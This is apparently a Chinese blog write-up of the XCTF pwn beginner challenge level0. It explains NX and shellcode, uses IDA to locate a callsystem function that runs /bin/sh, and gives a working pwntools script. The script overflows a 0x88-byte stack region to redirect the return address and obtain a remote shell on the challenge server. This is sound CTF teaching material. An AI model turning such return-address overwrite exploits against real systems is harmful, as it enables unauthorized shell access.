当前位置:首页 > 信息安全 > 正文内容

XCTF_pwn新手区_level0

七星2年前 (2020-05-27)信息安全692

拿到题,执行一下,然后看一下保护:

image.png

程序只开了NX.这里记录一下NX:

NX:

NX是数据与程序的分水岭,

栈溢出核心思想是通过局部变量覆盖函数返回地址来修改EIP注释1和注入 Shellcode注释2

在函数返回时跳到Shellcode去执行

要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,

NX策略是使栈区域的代码无法执行。

注释1:CPU通过EIP寄存器读取即将要执行的指令

注释2:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。 ----百度百科.

做题

拖到ida里面分析一下

image.png

shift+f12查看字符串,发现有/bin/sh这个字符串,双击进去看看:
image.png

可以看见这个字符串在0x400684这个位置,把光标打到command,然后按x,看看谁调用了它:

image.png

然后右键用text视图查看:

image.png

然后就找到了callsystem这个函数的地址,只要让EIP寄存器指向这个地址,程序就会执行callsystem函数.

然后分析main函数,f5查看伪代码:

image.png

这里没有用户交互,所以双击到vulnerable_function()这个函数里面看看:

image.png

这里定义了一个0x80长度的char类型变量,即0x80h填充满,之后跟上内存地址,

可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用

脚本就有了:

from pwn import *

p = remote("124.126.19.106","57828")  # 链接服务器远程交互,等同于nc ip 端口 命令
elf = ELF('./1')  # 以ELF文件格式读取文件
sysaddr = elf.symbols['callsystem']  # 获取ELF文件中callsystem函数的地址
payload = 'a'*(0x80 + 8) + p64(sysaddr)  #先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
p.recvuntil("World")  #检测输出
p.sendline(payload)  # 输入payload
p.interactive()  # 反弹shell进行交互

image.png

疑问错误之类的,请在下方留言

qixingbit.com

相关文章

CTF中关于RSA算法的攻击方式

CTF中关于RSA算法的攻击方式

RSA算法本身是安全的.但是他的不正确用法使得RSA算法的攻击成功率提高了.RSA算法在之前的文章中详细的介绍了.其攻击的核心就是获取两个大素数p和q.RSA算法也是针对c, m, e, d, n,...

渗透测试_权限维持

渗透测试_权限维持

前言渗透测试权限维持比较重要,所以要掌握一些重要的权限维持手段.本文讲述Windows和Linux的权限维持, 以及被攻击后的防御手段.Windows篇较为常见的提权手段ms17_058ms16_01...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。